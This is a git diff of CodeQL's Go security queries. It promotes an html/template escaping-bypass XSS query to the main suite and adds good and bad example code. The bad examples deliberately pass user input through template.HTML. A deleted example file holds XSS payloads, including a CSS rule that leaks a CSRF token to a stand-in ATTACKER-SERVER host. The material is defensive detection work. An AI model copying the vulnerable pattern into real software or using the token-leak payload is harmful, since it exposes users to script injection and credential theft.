--- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected
+++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected
@@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql
ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql
ql/go/ql/src/Security/CWE-022/ZipSlip.ql
ql/go/ql/src/Security/CWE-078/CommandInjection.ql
+ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
ql/go/ql/src/Security/CWE-079/ReflectedXss.ql
ql/go/ql/src/Security/CWE-089/SqlInjection.ql
ql/go/ql/src/Security/CWE-089/StringBreak.ql
diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected
index 12db20e22f5..9116f7b7ebf 100644
--- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected
+++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected
@@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql
ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql
ql/go/ql/src/Security/CWE-022/ZipSlip.ql
ql/go/ql/src/Security/CWE-078/CommandInjection.ql
+ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
ql/go/ql/src/Security/CWE-079/ReflectedXss.ql
ql/go/ql/src/Security/CWE-089/SqlInjection.ql
ql/go/ql/src/Security/CWE-089/StringBreak.ql
diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected
index bca9992e600..3b79e47da44 100644
--- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected
+++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected
@@ -21,7 +21,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql
ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql
ql/go/ql/src/experimental/CWE-74/DsnInjection.ql
ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql
-ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql
ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql
ql/go/ql/src/experimental/CWE-918/SSRF.ql
diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md
index b6031842a21..879662575e2 100644
--- a/go/ql/lib/CHANGELOG.md
+++ b/go/ql/lib/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 4.2.7
+
+### Minor Analysis Improvements
+
+* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink.
+
+## 4.2.6
+
+No user-facing changes.
+
## 4.2.5
No user-facing changes.
diff --git a/go/ql/lib/change-notes/released/4.2.6.md b/go/ql/lib/change-notes/released/4.2.6.md
new file mode 100644
index 00000000000..4b76e98c68b
--- /dev/null
+++ b/go/ql/lib/change-notes/released/4.2.6.md
@@ -0,0 +1,3 @@
+## 4.2.6
+
+No user-facing changes.
diff --git a/go/ql/lib/change-notes/released/4.2.7.md b/go/ql/lib/change-notes/released/4.2.7.md
new file mode 100644
index 00000000000..118b032c018
--- /dev/null
+++ b/go/ql/lib/change-notes/released/4.2.7.md
@@ -0,0 +1,5 @@
+## 4.2.7
+
+### Minor Analysis Improvements
+
+* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink.
diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml
index 1821397188e..0c0ee7d4dfd 100644
--- a/go/ql/lib/codeql-pack.release.yml
+++ b/go/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 4.2.5
+lastReleaseVersion: 4.2.7
diff --git a/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml
new file mode 100644
index 00000000000..e2d51e9c6ae
--- /dev/null
+++ b/go/ql/lib/ext/cloud.google.com.go.bigquery.model.yml
@@ -0,0 +1,6 @@
+extensions:
+ - addsTo:
+ pack: codeql/go-all
+ extensible: sinkModel
+ data:
+ - ["cloud.google.com/go/bigquery", "Client", True, "Query", "", "", "Argument[0]", "sql-injection", "manual"]
diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml
index 3451f49c2dc..9c6a8397bc3 100644
--- a/go/ql/lib/qlpack.yml
+++ b/go/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/go-all
-version: 4.2.6-dev
+version: 4.2.8-dev
groups: go
dbscheme: go.dbscheme
extractor: go
diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md
index a90fa7b7034..515fbad7adf 100644
--- a/go/ql/src/CHANGELOG.md
+++ b/go/ql/src/CHANGELOG.md
@@ -1,3 +1,15 @@
+## 1.3.0
+
+### New Queries
+
+* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in https://github.com/github/codeql-go/pull/493.
+
+## 1.2.1
+
+### Minor Analysis Improvements
+
+* The query `go/hardcoded-credentials` has been removed from all query suites.
+
## 1.2.0
### Query Metadata Changes
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp
similarity index 79%
rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp
index a842a685f23..2a0d27304c9 100644
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp
@@ -8,7 +8,7 @@
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
through.
- Using them on user-provided values will result in an opportunity for XSS.
+ Using them on user-provided values allows for a cross-site scripting vulnerability.
@@ -19,10 +19,10 @@
In the first example you can see the special types and how they are used in a template:
-
+
To avoid XSS, all user input should be a normal string type.
-
+
diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
new file mode 100644
index 00000000000..0618c8e8888
--- /dev/null
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
@@ -0,0 +1,119 @@
+/**
+ * @name Cross-site scripting via HTML template escaping bypass
+ * @description Converting user input to a special type that avoids escaping
+ * when fed into an HTML template allows for a cross-site
+ * scripting vulnerability.
+ * @kind path-problem
+ * @problem.severity error
+ * @security-severity 6.1
+ * @precision high
+ * @id go/html-template-escaping-bypass-xss
+ * @tags security
+ * external/cwe/cwe-079
+ * external/cwe/cwe-116
+ */
+
+import go
+
+/**
+ * A type that will not be escaped when passed to a `html/template` template.
+ */
+class UnescapedType extends Type {
+ UnescapedType() {
+ this.hasQualifiedName("html/template",
+ ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"])
+ }
+}
+
+/**
+ * Holds if the sink is a data value argument of a template execution call.
+ *
+ * Note that this is slightly more general than
+ * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`,
+ * which finds calls through interfaces which the receiver implements. This
+ * finds more results in practice.
+ */
+predicate isSinkToTemplateExec(DataFlow::Node sink) {
+ exists(Method fn, string methodName, DataFlow::CallNode call |
+ fn.hasQualifiedName("html/template", "Template", methodName) and
+ call = fn.getACall()
+ |
+ methodName = "Execute" and sink = call.getArgument(1)
+ or
+ methodName = "ExecuteTemplate" and sink = call.getArgument(2)
+ )
+}
+
+/**
+ * Data flow configuration that tracks flows from untrusted sources to template execution calls
+ * which go through a conversion to an unescaped type.
+ */
+module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig {
+ private newtype TConversionState =
+ TUnconverted() or
+ TConverted(UnescapedType unescapedType)
+
+ /**
+ * The flow state for tracking whether a conversion to an unescaped type has
+ * occurred.
+ */
+ class FlowState extends TConversionState {
+ predicate isBeforeConversion() { this instanceof TUnconverted }
+
+ predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) }
+
+ /** Gets a textual representation of this element. */
+ string toString() {
+ this.isBeforeConversion() and result = "Unconverted"
+ or
+ exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) |
+ result = "Converted to " + unescapedType.getQualifiedName()
+ )
+ }
+ }
+
+ predicate isSource(DataFlow::Node source, FlowState state) {
+ state.isBeforeConversion() and source instanceof ActiveThreatModelSource
+ }
+
+ predicate isSink(DataFlow::Node sink, FlowState state) {
+ state.isAfterConversion(_) and isSinkToTemplateExec(sink)
+ }
+
+ predicate isBarrier(DataFlow::Node node) {
+ node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer
+ or
+ node.getType() instanceof NumericType
+ }
+
+ /**
+ * When a conversion to a passthrough type is encountered, transition the flow state.
+ */
+ predicate isAdditionalFlowStep(
+ DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState
+ ) {
+ exists(ConversionExpr conversion, UnescapedType unescapedType |
+ // If not yet converted, look for a conversion to a passthrough type
+ predState.isBeforeConversion() and
+ succState.isAfterConversion(unescapedType) and
+ succ.(DataFlow::TypeCastNode).getExpr() = conversion and
+ pred.asExpr() = conversion.getOperand() and
+ conversion.getType().getUnderlyingType*() = unescapedType
+ )
+ }
+}
+
+module UntrustedToTemplateExecWithConversionFlow =
+ TaintTracking::GlobalWithState;
+
+import UntrustedToTemplateExecWithConversionFlow::PathGraph
+
+from
+ UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource,
+ UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType
+where
+ UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and
+ templateExecCall.getState().isAfterConversion(unescapedType)
+select templateExecCall.getNode(), untrustedSource, templateExecCall,
+ "Data from an $@ will not be auto-escaped because it was converted to template." +
+ unescapedType.getName(), untrustedSource.getNode(), "untrusted source"
diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go
new file mode 100755
index 00000000000..d9bd46a6b9d
--- /dev/null
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go
@@ -0,0 +1,13 @@
+package main
+
+import (
+ "html/template"
+ "net/http"
+)
+
+func bad(w http.ResponseWriter, r *http.Request) {
+ r.ParseForm()
+ username := r.Form.Get("username")
+ tmpl, _ := template.New("test").Parse(`Hi {{.}}`)
+ tmpl.Execute(w, template.HTML(username))
+}
diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go
new file mode 100755
index 00000000000..8460f00ba1d
--- /dev/null
+++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go
@@ -0,0 +1,13 @@
+package main
+
+import (
+ "html/template"
+ "net/http"
+)
+
+func good(w http.ResponseWriter, r *http.Request) {
+ r.ParseForm()
+ username := r.Form.Get("username")
+ tmpl, _ := template.New("test").Parse(`Hi {{.}}`)
+ tmpl.Execute(w, username)
+}
diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go
index 008b738f4ca..192774f0307 100644
--- a/go/ql/src/Security/CWE-079/StoredXss.go
+++ b/go/ql/src/Security/CWE-079/StoredXss.go
@@ -2,12 +2,12 @@ package main
import (
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles(w http.ResponseWriter, r *http.Request) {
- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
io.WriteString(w, file.Name()+"\n")
diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go
index d73a205ff3f..a7843e1cfe5 100644
--- a/go/ql/src/Security/CWE-079/StoredXssGood.go
+++ b/go/ql/src/Security/CWE-079/StoredXssGood.go
@@ -3,12 +3,12 @@ package main
import (
"html"
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles1(w http.ResponseWriter, r *http.Request) {
- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
io.WriteString(w, html.EscapeString(file.Name())+"\n")
diff --git a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/go/ql/src/change-notes/released/1.2.1.md
similarity index 64%
rename from go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md
rename to go/ql/src/change-notes/released/1.2.1.md
index b25a9b3d056..d96e9efc365 100644
--- a/go/ql/src/change-notes/2025-05-16-hardcoded-credentials.md
+++ b/go/ql/src/change-notes/released/1.2.1.md
@@ -1,4 +1,5 @@
----
-category: minorAnalysis
----
+## 1.2.1
+
+### Minor Analysis Improvements
+
* The query `go/hardcoded-credentials` has been removed from all query suites.
diff --git a/go/ql/src/change-notes/released/1.3.0.md b/go/ql/src/change-notes/released/1.3.0.md
new file mode 100644
index 00000000000..84afeabc50d
--- /dev/null
+++ b/go/ql/src/change-notes/released/1.3.0.md
@@ -0,0 +1,5 @@
+## 1.3.0
+
+### New Queries
+
+* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in https://github.com/github/codeql-go/pull/493.
diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml
index 75430e73d1c..ec16350ed6f 100644
--- a/go/ql/src/codeql-pack.release.yml
+++ b/go/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
---
-lastReleaseVersion: 1.2.0
+lastReleaseVersion: 1.3.0
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
deleted file mode 100644
index ff63f6bfbec..00000000000
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ /dev/null
@@ -1,153 +0,0 @@
-/**
- * @name HTML template escaping passthrough
- * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML
- * template, it may result in XSS.
- * @kind path-problem
- * @problem.severity warning
- * @id go/html-template-escaping-passthrough
- * @tags security
- * experimental
- * external/cwe/cwe-079
- */
-
-import go
-
-/**
- * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType.
- * The `targetType` parameter gets populated with the name of the PassthroughType,
- * and `conversionSink` gets populated with the node where the conversion happens.
- */
-predicate flowsFromUntrustedToConversion(
- DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink
-) {
- exists(DataFlow::Node source |
- UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and
- source = untrusted and
- UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType)
- )
-}
-
-/**
- * A name of a type that will not be escaped when passed to
- * a `html/template` template.
- */
-class PassthroughTypeName extends string {
- PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] }
-}
-
-module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource }
-
- additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) {
- exists(Type typ |
- typ = sink.getResultType() and
- typ.getUnderlyingType*().hasQualifiedName("html/template", name)
- )
- }
-
- predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) }
-
- predicate isBarrier(DataFlow::Node node) {
- node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType
- }
-}
-
-/**
- * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is
- * converted into a special "passthrough" type which will not be escaped by the
- * template generator; this allows the injection of arbitrary content (html,
- * css, js) into the generated output of the templates.
- */
-module UntrustedToPassthroughTypeConversionFlow =
- TaintTracking::Global;
-
-/**
- * Holds if the provided `conversion` node flows into the provided `execSink`.
- */
-predicate flowsFromConversionToExec(
- DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink
-) {
- PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and
- PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion,
- targetType)
-}
-
-module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) }
-
- additional predicate isSourceConversionToPassthroughType(
- DataFlow::TypeCastNode source, PassthroughTypeName name
- ) {
- exists(Type typ |
- typ = source.getResultType() and
- typ.getUnderlyingType*().hasQualifiedName("html/template", name)
- )
- }
-
- predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
-}
-
-/**
- * Tracks taint flow for reasoning about when the result of a conversion to a
- * PassthroughType flows to a template execution call.
- */
-module PassthroughTypeConversionToTemplateExecutionCallFlow =
- TaintTracking::Global;
-
-/**
- * Holds if the sink is a data value argument of a template execution call.
- */
-predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
- exists(Method fn, string methodName |
- fn.hasQualifiedName("html/template", "Template", methodName) and
- call = fn.getACall()
- |
- methodName = "Execute" and sink = call.getArgument(1)
- or
- methodName = "ExecuteTemplate" and sink = call.getArgument(2)
- )
-}
-
-module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource }
-
- predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
-}
-
-/**
- * Tracks taint flow from a `ActiveThreatModelSource` into a template executor
- * call.
- */
-module FromUntrustedToTemplateExecutionCallFlow =
- TaintTracking::Global;
-
-import FromUntrustedToTemplateExecutionCallFlow::PathGraph
-
-/**
- * Holds if the provided `untrusted` node flows into the provided `execSink`.
- */
-predicate flowsFromUntrustedToExec(
- FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted,
- FromUntrustedToTemplateExecutionCallFlow::PathNode execSink
-) {
- FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink)
-}
-
-from
- FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource,
- FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall,
- PassthroughTypeName targetTypeName, DataFlow::Node conversion
-where
- // A = untrusted remote flow source
- // B = conversion to PassthroughType
- // C = template execution call
- // Flows:
- // A -> B
- flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and
- // B -> C
- flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and
- // A -> C
- flowsFromUntrustedToExec(untrustedSource, templateExecCall)
-select templateExecCall.getNode(), untrustedSource, templateExecCall,
- "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
- untrustedSource.getNode(), "untrusted source", conversion, "converted"
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
deleted file mode 100755
index a23dfa153de..00000000000
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
+++ /dev/null
@@ -1,70 +0,0 @@
-package main
-
-import (
- "html/template"
- "os"
-)
-
-func main() {}
-func source(s string) string {
- return s
-}
-
-type HTMLAlias = template.HTML
-
-func checkError(err error) {
- if err != nil {
- panic(err)
- }
-}
-
-// bad is an example of a bad implementation
-func bad() {
- tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
- tmplTag, _ := template.New("test").Parse(`Hi \n`)
- tmplScript, _ := template.New("test").Parse(``)
- tmplSrcset, _ := template.New("test").Parse(`
`)
-
- {
- {
- var a = template.HTML(source(`link`))
- checkError(tmpl.Execute(os.Stdout, a))
- }
- {
- {
- var a template.HTML
- a = template.HTML(source(`link`))
- checkError(tmpl.Execute(os.Stdout, a))
- }
- {
- var a HTMLAlias
- a = HTMLAlias(source(`link`))
- checkError(tmpl.Execute(os.Stdout, a))
- }
- }
- }
- {
- var c = template.HTMLAttr(source(`href="https://example.com"`))
- checkError(tmplTag.Execute(os.Stdout, c))
- }
- {
- var d = template.JS(source("alert({hello: 'world'})"))
- checkError(tmplScript.Execute(os.Stdout, d))
- }
- {
- var e = template.JSStr(source("setTimeout('alert()')"))
- checkError(tmplScript.Execute(os.Stdout, e))
- }
- {
- var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
- checkError(tmpl.Execute(os.Stdout, b))
- }
- {
- var f = template.Srcset(source(`evil.jpg 320w`))
- checkError(tmplSrcset.Execute(os.Stdout, f))
- }
- {
- var g = template.URL(source("javascript:alert(1)"))
- checkError(tmpl.Execute(os.Stdout, g))
- }
-}
diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
deleted file mode 100755
index 3c0a8ad4eb4..00000000000
--- a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
+++ /dev/null
@@ -1,15 +0,0 @@
-package main
-
-import (
- "html/template"
- "os"
-)
-
-// good is an example of a good implementation
-func good() {
- tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
- { // This will be escaped:
- var escaped = source(`link`)
- checkError(tmpl.Execute(os.Stdout, escaped))
- }
-}
diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml
index 032ac335902..874d6e093fc 100644
--- a/go/ql/src/qlpack.yml
+++ b/go/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/go-queries
-version: 1.2.1-dev
+version: 1.3.1-dev
groups:
- go
- queries
diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
deleted file mode 100644
index c91fe813e9f..00000000000
--- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ /dev/null
@@ -1,76 +0,0 @@
-#select
-| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted |
-| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted |
-edges
-| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | |
-| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 |
